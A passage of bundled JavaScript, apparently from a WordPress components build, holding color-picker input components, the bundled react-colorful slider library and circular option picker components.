31631 children: /* @__PURE__ */ (0, import_jsx_runtime134.jsx)(component_default8, {
31632 color: COLORS.theme.accent,
31633 lineHeight: 1,
31634 children: "#"
31635 })
31636 }),
31637 value: color2.toHex().slice(1).toUpperCase(),
31638 onChange: handleChange,
31639 maxLength: enableAlpha ? 9 : 7,
31640 label: (0, import_i18n15.__)("Hex color"),
31641 hideLabelFromVision: true,
31642 size: "__unstable-large",
31643 __unstableStateReducer: stateReducer,
31644 __unstableInputWidth: "9em"
31645 });
31646 };
31647
31648 // packages/components/build-module/color-picker/color-input.mjs
31649 var import_jsx_runtime135 = __toESM(require_jsx_runtime(), 1);
31650 var ColorInput = ({
31651 colorType,
31652 color: color2,
31653 onChange,
31654 enableAlpha
31655 }) => {
31656 const props = {
31657 color: color2,
31658 onChange,
31659 enableAlpha
31660 };
31661 switch (colorType) {
31662 case "hsl":
31663 return /* @__PURE__ */ (0, import_jsx_runtime135.jsx)(HslInput, {
31664 ...props
31665 });
31666 case "rgb":
31667 return /* @__PURE__ */ (0, import_jsx_runtime135.jsx)(RgbInput, {
31668 ...props
31669 });
31670 default:
31671 case "hex":
31672 return /* @__PURE__ */ (0, import_jsx_runtime135.jsx)(HexInput, {
31673 ...props
31674 });
31675 }
31676 };
31677
31678 // packages/components/node_modules/react-colorful/dist/index.mjs
31679 var import_react104 = __toESM(require_react(), 1);
31680 function u2() {
31681 return (u2 = Object.assign || function(e3) {
31682 for (var r4 = 1; r4 < arguments.length; r4++) {
31683 var t4 = arguments[r4];
31684 for (var n3 in t4) Object.prototype.hasOwnProperty.call(t4, n3) && (e3[n3] = t4[n3]);
31685 }
31686 return e3;
31687 }).apply(this, arguments);
31688 }
31689 function c2(e3, r4) {
31690 if (null == e3) return {};
31691 var t4, n3, o4 = {}, a3 = Object.keys(e3);
31692 for (n3 = 0; n3 < a3.length; n3++) r4.indexOf(t4 = a3[n3]) >= 0 || (o4[t4] = e3[t4]);
31693 return o4;
31694 }
31695 function i2(e3) {
31696 var t4 = (0, import_react104.useRef)(e3), n3 = (0, import_react104.useRef)(function(e4) {
31697 t4.current && t4.current(e4);
31698 });
31699 return t4.current = e3, n3.current;
31700 }
31701 var s2 = function(e3, r4, t4) {
31702 return void 0 === r4 && (r4 = 0), void 0 === t4 && (t4 = 1), e3 > t4 ? t4 : e3 < r4 ? r4 : e3;
31703 };
31704 var f2 = function(e3) {
31705 return "touches" in e3;
31706 };
31707 var v2 = function(e3) {
31708 return e3 && e3.ownerDocument.defaultView || self;
31709 };
31710 var d2 = function(e3, r4, t4) {
31711 var n3 = e3.getBoundingClientRect(), o4 = f2(r4) ? (function(e4, r5) {
31712 for (var t5 = 0; t5 < e4.length; t5++) if (e4[t5].identifier === r5) return e4[t5];
31713 return e4[0];
31714 })(r4.touches, t4) : r4;
31715 return { left: s2((o4.pageX - (n3.left + v2(e3).pageXOffset)) / n3.width), top: s2((o4.pageY - (n3.top + v2(e3).pageYOffset)) / n3.height) };
31716 };
31717 var h2 = function(e3) {
31718 !f2(e3) && e3.preventDefault();
31719 };
31720 var m2 = import_react104.default.memo(function(o4) {
31721 var a3 = o4.onMove, l3 = o4.onKey, s3 = c2(o4, ["onMove", "onKey"]), m3 = (0, import_react104.useRef)(null), g3 = i2(a3), p3 = i2(l3), b3 = (0, import_react104.useRef)(null), _2 = (0, import_react104.useRef)(false), x2 = (0, import_react104.useMemo)(function() {
31722 var e3 = function(e4) {
31723 h2(e4), (f2(e4) ? e4.touches.length > 0 : e4.buttons > 0) && m3.current ? g3(d2(m3.current, e4, b3.current)) : t4(false);
31724 }, r4 = function() {
31725 return t4(false);
31726 };
31727 function t4(t5) {
31728 var n3 = _2.current, o5 = v2(m3.current), a4 = t5 ? o5.addEventListener : o5.removeEventListener;
31729 a4(n3 ? "touchmove" : "mousemove", e3), a4(n3 ? "touchend" : "mouseup", r4);
31730 }
31731 return [function(e4) {
31732 var r5 = e4.nativeEvent, n3 = m3.current;
31733 if (n3 && (h2(r5), !(function(e5, r6) {
31734 return r6 && !f2(e5);
31735 })(r5, _2.current) && n3)) {
31736 if (f2(r5)) {
31737 _2.current = true;
31738 var o5 = r5.changedTouches || [];
31739 o5.length && (b3.current = o5[0].identifier);
31740 }
31741 n3.focus(), g3(d2(n3, r5, b3.current)), t4(true);
31742 }
31743 }, function(e4) {
31744 var r5 = e4.which || e4.keyCode;
31745 r5 < 37 || r5 > 40 || (e4.preventDefault(), p3({ left: 39 === r5 ? 0.05 : 37 === r5 ? -0.05 : 0, top: 40 === r5 ? 0.05 : 38 === r5 ? -0.05 : 0 }));
31746 }, t4];
31747 }, [p3, g3]), C = x2[0], E = x2[1], H2 = x2[2];
31748 return (0, import_react104.useEffect)(function() {
31749 return H2;
31750 }, [H2]), import_react104.default.createElement("div", u2({}, s3, { onTouchStart: C, onMouseDown: C, className: "react-colorful__interactive", ref: m3, onKeyDown: E, tabIndex: 0, role: "slider" }));
31751 });
31752 var g2 = function(e3) {
31753 return e3.filter(Boolean).join(" ");
31754 };
31755 var p2 = function(r4) {
31756 var t4 = r4.color, n3 = r4.left, o4 = r4.top, a3 = void 0 === o4 ? 0.5 : o4, l3 = g2(["react-colorful__pointer", r4.className]);
31757 return import_react104.default.createElement("div", { className: l3, style: { top: 100 * a3 + "%", left: 100 * n3 + "%" } }, import_react104.default.createElement("div", { className: "react-colorful__pointer-fill", style: { backgroundColor: t4 } }));
31758 };
31759 var b2 = function(e3, r4, t4) {
31760 return void 0 === r4 && (r4 = 0), void 0 === t4 && (t4 = Math.pow(10, r4)), Math.round(t4 * e3) / t4;
31761 };
31762 var _ = { grad: 0.9, turn: 360, rad: 360 / (2 * Math.PI) };
31763 var y2 = function(e3) {
31764 var r4 = e3.s, t4 = e3.v, n3 = e3.a, o4 = (200 - r4) * t4 / 100;
31765 return { h: b2(e3.h), s: b2(o4 > 0 && o4 < 200 ? r4 * t4 / 100 / (o4 <= 100 ? o4 : 200 - o4) * 100 : 0), l: b2(o4 / 2), a: b2(n3, 2) };
31766 };
31767 var q = function(e3) {
31768 var r4 = y2(e3);
31769 return "hsl(" + r4.h + ", " + r4.s + "%, " + r4.l + "%)";
31770 };
31771 var k2 = function(e3) {
31772 var r4 = y2(e3);
31773 return "hsla(" + r4.h + ", " + r4.s + "%, " + r4.l + "%, " + r4.a + ")";
31774 };
31775 var I2 = function(e3) {
31776 var r4 = e3.h, t4 = e3.s, n3 = e3.v, o4 = e3.a;
31777 r4 = r4 / 360 * 6, t4 /= 100, n3 /= 100;
31778 var a3 = Math.floor(r4), l3 = n3 * (1 - t4), u3 = n3 * (1 - (r4 - a3) * t4), c3 = n3 * (1 - (1 - r4 + a3) * t4), i3 = a3 % 6;
31779 return { r: b2(255 * [n3, u3, l3, l3, c3, n3][i3]), g: b2(255 * [c3, n3, n3, u3, l3, l3][i3]), b: b2(255 * [l3, l3, c3, n3, n3, u3][i3]), a: b2(o4, 2) };
31780 };
31781 var z = function(e3) {
31782 var r4 = /rgba?\(?\s*(-?\d*\.?\d+)(%)?[,\s]+(-?\d*\.?\d+)(%)?[,\s]+(-?\d*\.?\d+)(%)?,?\s*[/\s]*(-?\d*\.?\d+)?(%)?\s*\)?/i.exec(e3);
31783 return r4 ? L({ r: Number(r4[1]) / (r4[2] ? 100 / 255 : 1), g: Number(r4[3]) / (r4[4] ? 100 / 255 : 1), b: Number(r4[5]) / (r4[6] ? 100 / 255 : 1), a: void 0 === r4[7] ? 1 : Number(r4[7]) / (r4[8] ? 100 : 1) }) : { h: 0, s: 0, v: 0, a: 1 };
31784 };
31785 var B = z;
31786 var L = function(e3) {
31787 var r4 = e3.r, t4 = e3.g, n3 = e3.b, o4 = e3.a, a3 = Math.max(r4, t4, n3), l3 = a3 - Math.min(r4, t4, n3), u3 = l3 ? a3 === r4 ? (t4 - n3) / l3 : a3 === t4 ? 2 + (n3 - r4) / l3 : 4 + (r4 - t4) / l3 : 0;
31788 return { h: b2(60 * (u3 < 0 ? u3 + 6 : u3)), s: b2(a3 ? l3 / a3 * 100 : 0), v: b2(a3 / 255 * 100), a: o4 };
31789 };
31790 var S2 = import_react104.default.memo(function(r4) {
31791 var t4 = r4.hue, n3 = r4.onChange, o4 = g2(["react-colorful__hue", r4.className]);
31792 return import_react104.default.createElement("div", { className: o4 }, import_react104.default.createElement(m2, { onMove: function(e3) {
31793 n3({ h: 360 * e3.left });
31794 }, onKey: function(e3) {
31795 n3({ h: s2(t4 + 360 * e3.left, 0, 360) });
31796 }, "aria-label": "Hue", "aria-valuenow": b2(t4), "aria-valuemax": "360", "aria-valuemin": "0" }, import_react104.default.createElement(p2, { className: "react-colorful__hue-pointer", left: t4 / 360, color: q({ h: t4, s: 100, v: 100, a: 1 }) })));
31797 });
31798 var T = import_react104.default.memo(function(r4) {
31799 var t4 = r4.hsva, n3 = r4.onChange, o4 = { backgroundColor: q({ h: t4.h, s: 100, v: 100, a: 1 }) };
31800 return import_react104.default.createElement("div", { className: "react-colorful__saturation", style: o4 }, import_react104.default.createElement(m2, { onMove: function(e3) {
31801 n3({ s: 100 * e3.left, v: 100 - 100 * e3.top });
31802 }, onKey: function(e3) {
31803 n3({ s: s2(t4.s + 100 * e3.left, 0, 100), v: s2(t4.v - 100 * e3.top, 0, 100) });
31804 }, "aria-label": "Color", "aria-valuetext": "Saturation " + b2(t4.s) + "%, Brightness " + b2(t4.v) + "%" }, import_react104.default.createElement(p2, { className: "react-colorful__saturation-pointer", top: 1 - t4.v / 100, left: t4.s / 100, color: q(t4) })));
31805 });
31806 var F = function(e3, r4) {
31807 if (e3 === r4) return true;
31808 for (var t4 in e3) if (e3[t4] !== r4[t4]) return false;
31809 return true;
31810 };
31811 var P = function(e3, r4) {
31812 return e3.replace(/\s/g, "") === r4.replace(/\s/g, "");
31813 };
31814 function Y(e3, t4, l3) {
31815 var u3 = i2(l3), c3 = (0, import_react104.useState)(function() {
31816 return e3.toHsva(t4);
31817 }), s3 = c3[0], f3 = c3[1], v3 = (0, import_react104.useRef)({ color: t4, hsva: s3 });
31818 (0, import_react104.useEffect)(function() {
31819 if (!e3.equal(t4, v3.current.color)) {
31820 var r4 = e3.toHsva(t4);
31821 v3.current = { hsva: r4, color: t4 }, f3(r4);
31822 }
31823 }, [t4, e3]), (0, import_react104.useEffect)(function() {
31824 var r4;
31825 F(s3, v3.current.hsva) || e3.equal(r4 = e3.fromHsva(s3), v3.current.color) || (v3.current = { hsva: s3, color: r4 }, u3(r4));
31826 }, [s3, e3, u3]);
31827 var d3 = (0, import_react104.useCallback)(function(e4) {
31828 f3(function(r4) {
31829 return Object.assign({}, r4, e4);
31830 });
31831 }, []);
31832 return [s3, d3];
31833 }
31834 var R;
31835 var V2 = "undefined" != typeof window ? import_react104.useLayoutEffect : import_react104.useEffect;
31836 var $2 = function() {
31837 return R || ("undefined" != typeof __webpack_nonce__ ? __webpack_nonce__ : void 0);
31838 };
31839 var J = /* @__PURE__ */ new Map();
31840 var Q = function(e3) {
31841 V2(function() {
31842 var r4 = e3.current ? e3.current.ownerDocument : document;
31843 if (void 0 !== r4 && !J.has(r4)) {
31844 var t4 = r4.createElement("style");
31845 t4.innerHTML = `.react-colorful{position:relative;display:flex;flex-direction:column;width:200px;height:200px;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;cursor:default}.react-colorful__saturation{position:relative;flex-grow:1;border-color:transparent;border-bottom:12px solid #000;border-radius:8px 8px 0 0;background-image:linear-gradient(0deg,#000,transparent),linear-gradient(90deg,#fff,hsla(0,0%,100%,0))}.react-colorful__alpha-gradient,.react-colorful__pointer-fill{content:"";position:absolute;left:0;top:0;right:0;bottom:0;pointer-events:none;border-radius:inherit}.react-colorful__alpha-gradient,.react-colorful__saturation{box-shadow:inset 0 0 0 1px rgba(0,0,0,.05)}.react-colorful__alpha,.react-colorful__hue{position:relative;height:24px}.react-colorful__hue{background:linear-gradient(90deg,red 0,#ff0 17%,#0f0 33%,#0ff 50%,#00f 67%,#f0f 83%,red)}.react-colorful__last-control{border-radius:0 0 8px 8px}.react-colorful__interactive{position:absolute;left:0;top:0;right:0;bottom:0;border-radius:inherit;outline:none;touch-action:none}.react-colorful__pointer{position:absolute;z-index:1;box-sizing:border-box;width:28px;height:28px;transform:translate(-50%,-50%);background-color:#fff;border:2px solid #fff;border-radius:50%;box-shadow:0 2px 4px rgba(0,0,0,.2)}.react-colorful__interactive:focus .react-colorful__pointer{transform:translate(-50%,-50%) scale(1.1)}.react-colorful__alpha,.react-colorful__alpha-pointer{background-color:#fff;background-image:url('data:image/svg+xml;charset=utf-8,<svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill-opacity=".05"><path d="M8 0h8v8H8zM0 8h8v8H0z"/></svg>')}.react-colorful__saturation-pointer{z-index:3}.react-colorful__hue-pointer{z-index:2}`, J.set(r4, t4);
31846 var n3 = $2();
31847 n3 && t4.setAttribute("nonce", n3), r4.head.appendChild(t4);
31848 }
31849 }, []);
31850 };
31851 var U = function(t4) {
31852 var n3 = t4.className, o4 = t4.colorModel, a3 = t4.color, l3 = void 0 === a3 ? o4.defaultColor : a3, i3 = t4.onChange, s3 = c2(t4, ["className", "colorModel", "color", "onChange"]), f3 = (0, import_react104.useRef)(null);
31853 Q(f3);
31854 var v3 = Y(o4, l3, i3), d3 = v3[0], h3 = v3[1], m3 = g2(["react-colorful", n3]);
31855 return import_react104.default.createElement("div", u2({}, s3, { ref: f3, className: m3 }), import_react104.default.createElement(T, { hsva: d3, onChange: h3 }), import_react104.default.createElement(S2, { hue: d3.h, onChange: h3, className: "react-colorful__last-control" }));
31856 };
31857 var ee = function(r4) {
31858 var t4 = r4.className, n3 = r4.hsva, o4 = r4.onChange, a3 = { backgroundImage: "linear-gradient(90deg, " + k2(Object.assign({}, n3, { a: 0 })) + ", " + k2(Object.assign({}, n3, { a: 1 })) + ")" }, l3 = g2(["react-colorful__alpha", t4]), u3 = b2(100 * n3.a);
31859 return import_react104.default.createElement("div", { className: l3 }, import_react104.default.createElement("div", { className: "react-colorful__alpha-gradient", style: a3 }), import_react104.default.createElement(m2, { onMove: function(e3) {
31860 o4({ a: e3.left });
31861 }, onKey: function(e3) {
31862 o4({ a: s2(n3.a + e3.left) });
31863 }, "aria-label": "Alpha", "aria-valuetext": u3 + "%", "aria-valuenow": u3, "aria-valuemin": "0", "aria-valuemax": "100" }, import_react104.default.createElement(p2, { className: "react-colorful__alpha-pointer", left: n3.a, color: k2(n3) })));
31864 };
31865 var re = function(t4) {
31866 var n3 = t4.className, o4 = t4.colorModel, a3 = t4.color, l3 = void 0 === a3 ? o4.defaultColor : a3, i3 = t4.onChange, s3 = c2(t4, ["className", "colorModel", "color", "onChange"]), f3 = (0, import_react104.useRef)(null);
31867 Q(f3);
31868 var v3 = Y(o4, l3, i3), d3 = v3[0], h3 = v3[1], m3 = g2(["react-colorful", n3]);
31869 return import_react104.default.createElement("div", u2({}, s3, { ref: f3, className: m3 }), import_react104.default.createElement(T, { hsva: d3, onChange: h3 }), import_react104.default.createElement(S2, { hue: d3.h, onChange: h3 }), import_react104.default.createElement(ee, { hsva: d3, onChange: h3, className: "react-colorful__last-control" }));
31870 };
31871 var Ee = { defaultColor: "rgba(0, 0, 0, 1)", toHsva: z, fromHsva: function(e3) {
31872 var r4 = I2(e3);
31873 return "rgba(" + r4.r + ", " + r4.g + ", " + r4.b + ", " + r4.a + ")";
31874 }, equal: P };
31875 var He = function(r4) {
31876 return import_react104.default.createElement(re, u2({}, r4, { colorModel: Ee }));
31877 };
31878 var we = { defaultColor: "rgb(0, 0, 0)", toHsva: B, fromHsva: function(e3) {
31879 var r4 = I2(e3);
31880 return "rgb(" + r4.r + ", " + r4.g + ", " + r4.b + ")";
31881 }, equal: P };
31882 var ye = function(r4) {
31883 return import_react104.default.createElement(U, u2({}, r4, { colorModel: we }));
31884 };
31885
31886 // packages/components/build-module/color-picker/picker.mjs
31887 var import_element75 = __toESM(require_element(), 1);
31888 var import_jsx_runtime136 = __toESM(require_jsx_runtime(), 1);
31889 var Picker = ({
31890 color: color2,
31891 enableAlpha,
31892 onChange
31893 }) => {
31894 const Component9 = enableAlpha ? He : ye;
31895 const rgbColor = (0, import_element75.useMemo)(() => color2.toRgbString(), [color2]);
31896 return /* @__PURE__ */ (0, import_jsx_runtime136.jsx)(Component9, {
31897 color: rgbColor,
31898 onChange: (nextColor) => {
31899 onChange(w(nextColor));
31900 },
31901 onPointerDown: ({
31902 currentTarget,
31903 pointerId: pointerId2
31904 }) => {
31905 currentTarget.setPointerCapture(pointerId2);
31906 },
31907 onPointerUp: ({
31908 currentTarget,
31909 pointerId: pointerId2
31910 }) => {
31911 currentTarget.releasePointerCapture(pointerId2);
31912 }
31913 });
31914 };
31915
31916 // packages/components/build-module/color-picker/component.mjs
31917 var import_jsx_runtime137 = __toESM(require_jsx_runtime(), 1);
31918 k([names_default]);
31919 var options = [{
31920 label: "RGB",
31921 value: "rgb"
31922 }, {
31923 label: "HSL",
31924 value: "hsl"
31925 }, {
31926 label: "Hex",
31927 value: "hex"
31928 }];
31929 var UnconnectedColorPicker = (props, forwardedRef) => {
31930 const {
31931 enableAlpha = false,
31932 color: colorProp,
31933 onChange,
31934 defaultValue: defaultValue2 = "#fff",
31935 copyFormat,
31936 ...divProps
31937 } = useContextSystem(props, "ColorPicker");
31938 const [color2, setColor] = useControlledValue({
31939 onChange,
31940 value: colorProp,
31941 defaultValue: defaultValue2
31942 });
31943 const safeColordColor = (0, import_element76.useMemo)(() => {
31944 return w(color2 || "");
31945 }, [color2]);
31946 const debouncedSetColor = (0, import_compose31.useDebounce)(setColor);
31947 const handleChange = (0, import_element76.useCallback)((nextValue) => {
31948 debouncedSetColor(nextValue.toHex());
31949 }, [debouncedSetColor]);
31950 const [colorType, setColorType] = (0, import_element76.useState)(copyFormat || "hex");
31951 const maybeHandlePaste = (0, import_element76.useCallback)((event) => {
31952 const pastedText = event.clipboardData?.getData("text")?.trim();
31953 if (!pastedText) {
31954 return;
31955 }
31956 const parsedColor = w(pastedText);
31957 if (!parsedColor.isValid()) {
31958 return;
31959 }
31960 handleChange(parsedColor);
31961 const supportedFormats = {
31962 hex: "hex",
31963 rgb: "rgb",
31964 hsl: "hsl"
31965 };
31966 const detectedFormat = String(I(pastedText));
31967 const newColorType = supportedFormats[detectedFormat];
31968 if (newColorType) {
31969 setColorType(newColorType);
31970 }
31971 event.stopPropagation();
31972 event.preventDefault();
31973 }, [handleChange, setColorType]);
31974 return /* @__PURE__ */ (0, import_jsx_runtime137.jsxs)(ColorfulWrapper, {
31975 ref: forwardedRef,
31976 ...divProps,
31977 onPasteCapture: maybeHandlePaste,
31978 children: [/* @__PURE__ */ (0, import_jsx_runtime137.jsx)(Picker, {
31979 onChange: handleChange,
31980 color: safeColordColor,
31981 enableAlpha
31982 }), /* @__PURE__ */ (0, import_jsx_runtime137.jsxs)(AuxiliaryColorArtefactWrapper, {
31983 children: [/* @__PURE__ */ (0, import_jsx_runtime137.jsxs)(AuxiliaryColorArtefactHStackHeader, {
31984 justify: "space-between",
31985 children: [/* @__PURE__ */ (0, import_jsx_runtime137.jsx)(SelectControl2, {
31986 size: "compact",
31987 options,
31988 value: colorType,
31989 onChange: (nextColorType) => setColorType(nextColorType),
31990 label: (0, import_i18n16.__)("Color format"),
31991 hideLabelFromVision: true,
31992 variant: "minimal"
31993 }), /* @__PURE__ */ (0, import_jsx_runtime137.jsx)(ColorCopyButton, {
31994 color: safeColordColor,
31995 colorType: copyFormat || colorType
31996 })]
31997 }), /* @__PURE__ */ (0, import_jsx_runtime137.jsx)(ColorInputWrapper, {
31998 direction: "column",
31999 gap: 2,
32000 children: /* @__PURE__ */ (0, import_jsx_runtime137.jsx)(ColorInput, {
32001 colorType,
32002 color: safeColordColor,
32003 onChange: handleChange,
32004 enableAlpha
32005 })
32006 })]
32007 })]
32008 });
32009 };
32010 var ColorPicker = contextConnect(UnconnectedColorPicker, "ColorPicker");
32011 var component_default17 = ColorPicker;
32012
32013 // packages/components/build-module/color-picker/use-deprecated-props.mjs
32014 var import_element77 = __toESM(require_element(), 1);
32015 function isLegacyProps(props) {
32016 return typeof props.onChangeComplete !== "undefined" || typeof props.disableAlpha !== "undefined" || typeof props.color?.hex === "string";
32017 }
32018 function getColorFromLegacyProps(color2) {
32019 if (color2 === void 0) {
32020 return;
32021 }
32022 if (typeof color2 === "string") {
32023 return color2;
32024 }
32025 if (color2.hex) {
32026 return color2.hex;
32027 }
32028 return void 0;
32029 }
32030 var transformColorStringToLegacyColor = memize((color2) => {
32031 const colordColor = w(color2);
32032 const hex2 = colordColor.toHex();
32033 const rgb = colordColor.toRgb();
32034 const hsv = colordColor.toHsv();
32035 const hsl = colordColor.toHsl();
32036 return {
32037 hex: hex2,
32038 rgb,
32039 hsv,
32040 hsl,
32041 source: "hex",
32042 oldHue: hsl.h
32043 };
32044 });
32045 function useDeprecatedProps3(props) {
32046 const {
32047 onChangeComplete
32048 } = props;
32049 const legacyChangeHandler = (0, import_element77.useCallback)((color2) => {
32050 onChangeComplete(transformColorStringToLegacyColor(color2));
32051 }, [onChangeComplete]);
32052 if (isLegacyProps(props)) {
32053 return {
32054 color: getColorFromLegacyProps(props.color),
32055 enableAlpha: !props.disableAlpha,
32056 onChange: legacyChangeHandler
32057 };
32058 }
32059 return {
32060 ...props,
32061 color: props.color,
32062 enableAlpha: props.enableAlpha,
32063 onChange: props.onChange
32064 };
32065 }
32066
32067 // packages/components/build-module/color-picker/legacy-adapter.mjs
32068 var import_jsx_runtime138 = __toESM(require_jsx_runtime(), 1);
32069 var LegacyAdapter = (props) => {
32070 return /* @__PURE__ */ (0, import_jsx_runtime138.jsx)(component_default17, {
32071 ...useDeprecatedProps3(props)
32072 });
32073 };
32074
32075 // packages/components/build-module/circular-option-picker/circular-option-picker.mjs
32076 var import_compose33 = __toESM(require_compose(), 1);
32077 var import_i18n17 = __toESM(require_i18n(), 1);
32078 var import_element80 = __toESM(require_element(), 1);
32079
32080 // packages/components/build-module/circular-option-picker/circular-option-picker-context.mjs
32081 var import_element78 = __toESM(require_element(), 1);
32082 var CircularOptionPickerContext = (0, import_element78.createContext)({});
32083 CircularOptionPickerContext.displayName = "CircularOptionPickerContext";
32084
32085 // packages/components/build-module/circular-option-picker/circular-option-picker-option.mjs
32086 var import_compose32 = __toESM(require_compose(), 1);
32087 var import_element79 = __toESM(require_element(), 1);
32088 var import_jsx_runtime139 = __toESM(require_jsx_runtime(), 1);
32089 function UnforwardedOptionAsButton(props, forwardedRef) {
32090 const {
32091 isPressed,
32092 label,
32093 ...additionalProps
32094 } = props;
32095 return /* @__PURE__ */ (0, import_jsx_runtime139.jsx)(button_default, {
32096 __next40pxDefaultSize: true,
32097 ...additionalProps,
32098 "aria-pressed": isPressed,
32099 ref: forwardedRef,
32100 label
32101 });
32102 }
32103 var OptionAsButton = (0, import_element79.forwardRef)(UnforwardedOptionAsButton);
32104 function UnforwardedOptionAsOption(props, forwardedRef) {
32105 const {
32106 id: id3,
32107 isSelected: isSelected2,
32108 label,
32109 ...additionalProps
32110 } = props;
32111 const {
32112 setActiveId,
32113 activeId
32114 } = (0, import_element79.useContext)(CircularOptionPickerContext);
32115 (0, import_element79.useEffect)(() => {
32116 if (isSelected2 && !activeId) {
32117 window.setTimeout(() => setActiveId?.(id3), 0);
32118 }
32119 }, [isSelected2, setActiveId, activeId, id3]);
32120 return /* @__PURE__ */ (0, import_jsx_runtime139.jsx)(Composite22.Item, {
32121 render: /* @__PURE__ */ (0, import_jsx_runtime139.jsx)(button_default, {
32122 __next40pxDefaultSize: true,
32123 ...additionalProps,
32124 role: "option",
32125 "aria-selected": !!isSelected2,
32126 ref: forwardedRef,
32127 label
32128 }),
32129 id: id3
32130 });
32131 }
32132 var OptionAsOption = (0, import_element79.forwardRef)(UnforwardedOptionAsOption);
32133 function Option({
32134 className: className2,
32135 isSelected: isSelected2,
32136 selectedIconProps = {},
32137 tooltipText,
32138 ...additionalProps
32139 }) {
32140 const {
32141 baseId,
32142 setActiveId
32143 } = (0, import_element79.useContext)(CircularOptionPickerContext);
32144 const id3 = (0, import_compose32.useInstanceId)(Option, baseId || "components-circular-option-picker__option");
32145 const commonProps = {
32146 id: id3,
32147 className: "components-circular-option-picker__option",
32148 ...additionalProps
32149 };
32150 const isListbox = setActiveId !== void 0;
32151 const optionControl = isListbox ? /* @__PURE__ */ (0, import_jsx_runtime139.jsx)(OptionAsOption, {
32152 ...commonProps,
32153 label: tooltipText,
32154 isSelected: isSelected2
32155 }) : /* @__PURE__ */ (0, import_jsx_runtime139.jsx)(OptionAsButton, {
32156 ...commonProps,
32157 label: tooltipText,
32158 isPressed: isSelected2
32159 });
32160 return /* @__PURE__ */ (0, import_jsx_runtime139.jsxs)("div", {
32161 className: clsx_default(className2, "components-circular-option-picker__option-wrapper"),
32162 children: [optionControl, isSelected2 && /* @__PURE__ */ (0, import_jsx_runtime139.jsx)(icon_default2, {
32163 icon: check_default,
32164 ...selectedIconProps
32165 })]
32166 });
32167 }
32168
32169 // packages/components/build-module/circular-option-picker/circular-option-picker-option-group.mjs
32170 var import_jsx_runtime140 = __toESM(require_jsx_runtime(), 1);
32171 function OptionGroup({
32172 className: className2,
32173 options: options2,
32174 ...additionalProps
32175 }) {
32176 const role = "aria-label" in additionalProps || "aria-labelledby" in additionalProps ? "group" : void 0;
32177 return /* @__PURE__ */ (0, import_jsx_runtime140.jsx)("div", {
32178 ...additionalProps,
32179 role,
32180 className: clsx_default("components-circular-option-picker__option-group", "components-circular-option-picker__swatches", className2),
32181 children: options2
32182 });
32183 }
32184
32185 // packages/components/build-module/circular-option-picker/circular-option-picker-actions.mjs
32186 var import_jsx_runtime141 = __toESM(require_jsx_runtime(), 1);
32187 function DropdownLinkAction({
32188 buttonProps,
32189 className: className2,
32190 dropdownProps,
32191 linkText
32192 }) {
32193 return /* @__PURE__ */ (0, import_jsx_runtime141.jsx)(dropdown_default, {
32194 className: clsx_default("components-circular-option-picker__dropdown-link-action", className2),
32195 renderToggle: ({
32196 isOpen,
32197 onToggle
32198 }) => /* @__PURE__ */ (0, import_jsx_runtime141.jsx)(button_default, {
32199 "aria-expanded": isOpen,
32200 "aria-haspopup": "true",
32201 onClick: onToggle,
32202 variant: "link",
32203 ...buttonProps,
32204 children: linkText
32205 }),
32206 ...dropdownProps
32207 });
32208 }
32209 function ButtonAction({
32210 className: className2,
32211 children,
32212 ...additionalProps
32213 }) {
32214 return /* @__PURE__ */ (0, import_jsx_runtime141.jsx)(button_default, {
32215 __next40pxDefaultSize: true,
32216 className: clsx_default("components-circular-option-picker__clear", className2),
32217 variant: "tertiary",
32218 ...additionalProps,
32219 children
32220 });
32221 }
32222
32223 // packages/components/build-module/circular-option-picker/circular-option-picker.mjs
32224 var import_jsx_runtime142 = __toESM(require_jsx_runtime(), 1);
32225 function ListboxCircularOptionPicker(props) {
32226 const {
32227 actions,
32228 options: options2,
32229 baseId,
32230 className: className2,
32231 loop = true,
32232 children,
32233 ...additionalProps
32234 } = props;
32235 const [activeId, setActiveId] = (0, import_element80.useState)(void 0);
32236 const contextValue = (0, import_element80.useMemo)(() => ({
32237 baseId,
32238 activeId,
32239 setActiveId
32240 }), [baseId, activeId, setActiveId]);
32241 return /* @__PURE__ */ (0, import_jsx_runtime142.jsx)("div", {
32242 className: className2,
32243 children: /* @__PURE__ */ (0, import_jsx_runtime142.jsxs)(CircularOptionPickerContext.Provider, {
32244 value: contextValue,
32245 children: [/* @__PURE__ */ (0, import_jsx_runtime142.jsx)(Composite22, {
32246 ...additionalProps,
32247 id: baseId,
32248 focusLoop: loop,
32249 rtl: (0, import_i18n17.isRTL)(),
32250 role: "listbox",
32251 activeId,
32252 setActiveId,
32253 children: options2
32254 }), children, actions]
32255 })
32256 });
32257 }
32258 function ButtonsCircularOptionPicker(props) {
32259 const {
32260 actions,
32261 options: options2,
32262 children,
32263 baseId,
32264 ...additionalProps
32265 } = props;
32266 const contextValue = (0, import_element80.useMemo)(() => ({
32267 baseId
32268 }), [baseId]);
32269 return /* @__PURE__ */ (0, import_jsx_runtime142.jsx)("div", {
32270 ...additionalProps,
32271 role: "group",
32272 id: baseId,
32273 children: /* @__PURE__ */ (0, import_jsx_runtime142.jsxs)(CircularOptionPickerContext.Provider, {
32274 value: contextValue,
32275 children: [options2, children, actions]
32276 })
32277 });
32278 }
32279 function CircularOptionPicker(props) {
32280 const {
32281 asButtons,
32282 actions: actionsProp,
32283 options: optionsProp,
32284 children,
32285 className: className2,
32286 ...additionalProps
32287 } = props;
32288 const baseId = (0, import_compose33.useInstanceId)(CircularOptionPicker, "components-circular-option-picker", additionalProps.id);
32289 const OptionPickerImplementation = asButtons ? ButtonsCircularOptionPicker : ListboxCircularOptionPicker;
32290 const actions = actionsProp ? /* @__PURE__ */ (0, import_jsx_runtime142.jsx)("div", {
32291 className: "components-circular-option-picker__custom-clear-wrapper",
32292 children: actionsProp
32293 }) : void 0;
32294 const options2 = /* @__PURE__ */ (0, import_jsx_runtime142.jsx)("div", {
32295 className: "components-circular-option-picker__swatches",
32296 children: optionsProp
32297 });
32298 return /* @__PURE__ */ (0, import_jsx_runtime142.jsx)(OptionPickerImplementation, {
32299 ...additionalProps,
32300 baseId,
32301 className: clsx_default("components-circular-option-picker", className2),
32302 actions,
32303 options: options2,
32304 children
32305 });
32306 }
32307 CircularOptionPicker.Option = Option;
32308 CircularOptionPicker.OptionGroup = OptionGroup;
32309 CircularOptionPicker.ButtonAction = ButtonAction;
32310 CircularOptionPicker.DropdownLinkAction = DropdownLinkAction;
32311 CircularOptionPicker.displayName = "CircularOptionPicker";
32312 var circular_option_picker_default = CircularOptionPicker;
32313
